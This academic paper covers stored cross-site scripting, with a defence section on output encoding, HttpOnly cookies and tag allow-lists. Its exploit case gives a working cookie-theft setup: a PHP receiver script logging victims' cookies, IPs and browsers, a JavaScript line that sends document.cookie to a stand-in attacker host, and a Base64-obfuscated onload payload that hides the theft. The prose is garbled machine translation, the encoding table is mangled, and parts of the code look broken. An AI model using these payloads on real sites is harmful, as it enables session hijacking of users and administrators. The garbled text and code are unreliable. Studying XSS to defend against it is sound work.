Storage-Type XSS Site Penetration and Defense Practice

Dengfeng Wei

Computer Science College, Yangtze University, Jingzhou 434023, China

weidengfeng@126.com

Abstract

Cross-Site scripting XSS (Cross Site Scripting) vulnerabilities has produced a serious threat to most sites. Wherein the storage type XSS vulnerability on users and site damage is particularly great. Prior use of vulnerability scanning tools to detect and repair the vulnerability, can effectively prevent and mitigate the vulnerability after a series of hazards due to be exploited. This paper analyzes the storage type XSS vulnerabilities principles, and filters to create storage-type XSS defense. Help repair the web application cross-site scripting vulnerability.

Keywords

Storage-Type XSS; Motion Detection; Attack Vectors; Vulnerability Scanning.

1. Introduction

Storage-Type XSS vulnerability is characteristic: malicious script malicious attackers in the use of this type of cross-site scripting vulnerabilities, the input will be stored websites to the backend server (database, memory or file system, etc.), when ordinary users Browse web page background will automatically execute malicious scripts, a threat to the user's information security. Because the storage type XSS stored in a server, it can be repeatedly triggered, so its dangers far greater than the reflective XSS vulnerabilities. In general, the storage-type cross-site scripting vulnerability exists primarily in support of the user submits input, and input after the submission process stored Web pages or applications. In this case, if the Web application does not have to input filtering, malicious code will be stored in a malicious attacker entered in the server, a threat to the security of the entire site of the current excavation XSS tool mainly includes the following key technical points : cross-site vulnerability testing 1. A storage-type XSS has the following characteristics:

1. The malicious scripts uploaded will be saved by the application to the back-end server, the malicious script Once uploaded successfully, it will continue to harm the user to view this page, until the malicious script is removed from the server, and therefore, the storage-type XSS also known as persistent cross-site scripting vulnerability.

2. Exploited by malicious people reflective XSS, you must trick users into clicking on a malicious link, a passive attack, attack success depends on whether the user is fooled. The malicious attacker in the use of the storage-type cross-site scripting vulnerabilities, only need to upload malicious script containing the vulnerability of applications which, after just quiet waiting, waiting for the victim to view this site, the malicious script will be executed, the entire the attack process is completed. And this is generally user-initiated web pages viewed.

3. Malicious attackers in the use of the storage-type cross-site scripting vulnerabilities, usually selected target page is page views, large pages, such as blog and other forums, and in the context of Web2.0, interactive website and the number of views than a decade ago, have a blast-type growth, which will give greater storage type XSS attacks space. Information and user interaction process, are actually associated with the spread of network resources, so that it creates a type of vulnerability can be stored with a

hierarchical diffusion, more well-known example is the cross-site scripting worm. Can be found, the storage-type XSS exploit a relatively wide range, relatively diverse use patterns, also showed more serious dangers. And the storage-type XSS hazard is a Web application back-end server, the application itself will bring greater threat. For example, a malicious attacker could impersonate an ordinary user to submit a request to the backend administrator (request contains malicious script code), if at this time there is not enough security measures when the administrator opens a malicious attacker's request, the malicious script code will executed, so the administrator's account information (generally Cookie information) will be sent to the malicious attacker, so that a malicious attacker could impersonate an administrator to obtain elevated privileges, and then a more serious attack. In general, when exploited by malicious people storage type XSS, just uploaded.

2. XSS forming principle and classification

2.1 XSS forming principle

XSS nature: the system will enter the user's script code (JS, Flash script) is executed, contrary to the original intention of the received data. Resulting in some of the consequences of violation of systems ready.XSS fundamental reason: the system is not user input data is encoded escape restrictions filtration process.

2.2 XSS forming classification.

Under the first browser and server architecture levels: User - IE (Chrome) - Java / PHP / Python - DB

Reflective: non-persistent type, in the above four-tier structure, the user uses the browser, then the browser sends a request to the server backend Java or PHP, or Python, then the server returns a response logic program results to the client browser display.Storage type: Durable, in the above four-tier structure, the user uses the browser sends a request to the server, the application logic to the database data access, (XSS code is stored in the DB), and then through the application sends a response sent to the browser display.DOM-Based Type: Non-persistent type, in the above four-tier structure, only relates to the user's browser, change only occurs between the client JS and HTML. It does not involve server interaction.

3. How to test XSS

Because of XSS formation of the system is not user-input data, recorded directly in the system, and because the front-end code is visible in the browser, so it should be easy to think directly enter special characters "< '> /" & ", and then view page source code, to see the characters you entered is displayed is post-processed. If there is no escape, coding, it can be concluded that the page exists XSS vulnerabilities.

The reason to test whether these six characters are encoded, because these six characters, if not coded, not escape, then the system is very easy to exist html tags are closed, insert something like "<script> "problem, then there is a great risk of XSS vulnerabilities, easy to be illegal users.

4. XSS exploit Case

For an attacker to steal Cookie, we should let them crafted malicious code on the victim's computer is running, in general, is the implementation of a JavaScript code when a user visits a web page, this code gets the user the current page the cookie, and then use these data Http request will be sent to the recipient's address, thus completing the process of stealing a cookie, here, there are two problems to be solved:

How to allow users to access the web page while downloading and executing the attacker's malicious code to accept user how to send us the Cookie, in general, the solution is as follows: To find a place in user interaction on a website, the most common is the message board, if a malicious attacker has the ability to comment, but the site cannot be detected legitimacy of our message, thus giving a malicious

attacker to insert malicious opportunity code so that if a malicious attacker to insert messages can be seen by the administrator, then the administrator of the Cookie are most likely to get the attacker, or if this message is public, can be viewed by any visitor , then the people who comment on any browser attacks, their Cookie can be used by attackers to get malicious code and sent to the attacker's background. If the Cookie is and the user's login status is associated, so have these Cookie, in the Cookie effective period of time, a malicious attacker can through HTTP request header to add these Cookie to achieve without using authentication to be acquired authorized effect. Malicious attackers usually to their own carefully constructed message sent to the server, the attack success mainly lies in the carefully constructed messages will not be filtered out security measures.

Once the attacker successfully inserted into the malicious code, have to have a place to receive Cookie, generally the attacker will use a cloud server, a Web server running on a cloud server, Web address of the server that sent the attacker Cookie, Web server receives the client (the user has viewed the attacker's cross-site scripting vulnerability) transmitted cookie (in general is GET / POST parameters) after the parameters stored, and then the attacker can these cookie analyze and use.

Cookie structures for receiving the Web server, using the time tested here I purchased a virtual host, virtual host Web services to ensure the normal open, anyone with access to the Internet can be a normal visit later, here we need to prepare to receive a parameters PHP malicious script file transfer, and for receiving the Cookie Cookie saved, here we Cookie temporarily stored in a local file, then we can optimize the script, the Cookie data is stored in the database.

```
$result_file_name = "cookie.txt";
$ip138_token = "";
date_default_timezone_set('Asia/Shanghai');
$time=date("j F, Y, g:i a");
$ip = getip_out();
$location = getLocationOfIP($ip, $ip138_token);
$cookie = $_GET['c'];
$referer=getenv ('HTTP_REFERER');
$to = $_SERVER['PHP_SELF'];
$browser = $_SERVER["HTTP_USER_AGENT"];

$fp = fopen($result_file_name, 'a');

fwrite($fp, "Time : ".$time."\n");
fwrite($fp, "IP : ".$ip."\n");
fwrite($fp, "Location : ".$location."\n");
fwrite($fp, "Cookie : ".$cookie."\n");
fwrite($fp, "From : ".$from."\n");
fwrite($fp, "To : ".$to."\n");
fwrite($fp, "Browser : ".$browser."\n");
fwrite($fp, "------------------------------\n");
fclose($fp);
function getip_out(){
   $ip=false;
   if(!empty($_SERVER["HTTP_CLIENT_IP"])){
      $ip = $_SERVER["HTTP_CLIENT_IP"];
   }
   if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
      $ips = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
      if ($ip) { array_unshift($ips, $ip); $ip = FALSE; }
      for ($i = 0; $i < count($ips); $i++) {
         if (!eregi ("^(10 | 172.16 | 192.168).", $ips[$i])) {
            $ip = $ips[$i];
            break;
         }
      }
   }
   return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);
}
```

Fig. 1 Cookie data saved code

Here we can test:

Fig. 2 Saved Cookie data

And we found that indeed is now running the attacker's server receives Cookie has been set up is completed, and now we need to simulate the most important step attacker, that is, the attacker's own configuration code into compromised websites. Here a malicious attack has selected a site message board function test: due to security concerns, here only address a screenshot of the site will be hidden. Here a malicious attacker tireless efforts and testing, found that the site is not filtering <Body onload=></body> This tag, a malicious code can be inserted into the onload here where malicious attackers in order not to be exposed to malicious code particularly obvious, so a certain amount of malicious code, encrypted malicious attacker uses malicious code Base64 encoding, so under normal circumstances, the administrator of the site is difficult to code logic is probably malicious code, malicious code is:

Use JavaScript to dynamically add an IMG tag to the DOM, set the src attribute of the label received cookie parameter to address the attacker, so the browser DOM parsing time will be to access the address of the receiving Cookie attackers, and put their Cookie passed as parameters

In JavaScript, you want to dynamically add DOM node, you can use the following statement:

```
document.body.appendChild(document.createElement('img')).setAttribute('src','http://www.xxx.com/
cookie.php?c='+document.cookie);
```

Fig. 3 Dynamically add DOM node

The attacker then let the code execution, but also let enough hidden, so here attacker to this JavaScript code Base64 encoding, and then use the JavaScript window. atob () perform Base64 decoding, and finally use eval () function to perform, in this case, the attacker to insert malicious code for the final:

```
<body
ONLOAD=eval(window.atob("ZG9jdW1lbnQuYm9keS5hcHBlbmRaGlsZChkb2N1bWVudC5jcmV
hdGVFbGVtZW50KCdpbWcnKSkuc2V0QXR0cmlidXRlKCdzcmMnLCdodHRwOi8vd3d3Lnh4eC5j
b20vY29va2llLnBocD9jPScrZG9jdW1lbnQuY29va2llKTs="));></body>
```

Fig. 4 The attacker to insert malicious code

In this case, the attacker will see your comment add malicious code is not already inserted into the HTML page Has been successfully inserted, the attacker will now go to View saved Cookie on your file server, as long as people view their messages, it would have been recorded. Then the attacker can take advantage of some of these Cookie achieve their ulterior motives.

5. XSS fixes

5.1 coding

From the above problems can be learned, if tested XSS vulnerabilities exist, then the system is not user input data is coded to escape, then the corresponding as security personnel, they should give the developer notice, improved the corresponding module, to join user input data filtering logic coding process to repair the vulnerability. In general, the data entered by the user, especially when the six characters:> '& / < "target specific encoding format should be combined with specific circumstances, the corresponding data HtmlEncode, JavascriptEncode, URLEncode, even in CSS run the appropriate data in the OWASP ESAPI encodeForCSS () function. Which specific encoding used, the system will need to look at the data output is shown in which position is the JS is HTML, or CSS inside.

For example, if the HTML coding, corresponding, these should be encoded see Table 1.

Table 1. Filter characters

Lable	HtmlEncode
<	& Lt;
>	& Gt;
&	& Amp;
,,	& Quot;
,	& # X27;
/	& # X2F;

5.2 httponly

Because the use of XSS interception of Cookie, the cookie can be marked as httponly, so JS cannot get, or cookie with the client IP can be bound thereby even steal useless.

5.3 Black and white list filter input

Because <script> and other tags for news, comments and other content, it is easy to exist XSS injection, so set the white list, only allow the trust of the label input, similar: <a>, <img>, and so on. Give priority to the white list strategy, because the blacklist may miss some of the possible injection, of course, the white list is not foolproof, need to regularly update the investigation.

6. Conclusion

Exploited by malicious people to attack the Internet, a large part is to steal private data of some pages, most notably the Cookie information page. In XSS attack, a malicious attacker can write a malicious script, so page by page DOM manipulation to extract information of Cookie, Cookie and send a message to the specified site or mailbox. After acquiring the Cookie information, a malicious attacker can take advantage of the identity theft victims were posing Cookie information visit the Web site, the victim's identity to obtain permission and pages of information. After the system is fully deployed throughout the cookie, just victims visit the website, click on the page and browse the prior deployed XSS malicious code will be executed automatically sends cookie information to victims of malicious attackers deployed on the server. The attacker receives the cookie information sent by the website can be used after cookie theft of the user's identity information, to operate within the competence of any victims.

References

[1] Ferreira R L D M, dos Santos A F P, Choren R. Vulnerabilities Classification for Safe Development on Android[J]. 2016.
[2] Bojinov V. RESTful web API design with Node. js[M]. Packt Publishing Ltd, 2016.
[3] Acuña P. Deploying Rails with Docker, Kubernetes and ECS [J]. 2016.
[4] Gupta S, Gupta B B. CSSXC: Context-sensitive Sanitization Framework for Web Applications against XSS Vulnerabilities in Cloud Environments [J]. Procedia Computer Science, 2016, 85: 198-205.
[5] Lin A W, Barceló P. String solving with word equations and transducers: towards a logic for analysing mutation XSS[C]//ACM SIGPLAN Notices. ACM, 2016, 51(1): 123-136.
[6] Hansen R. XSS Filter Evasion Cheat Sheet [J]. 2016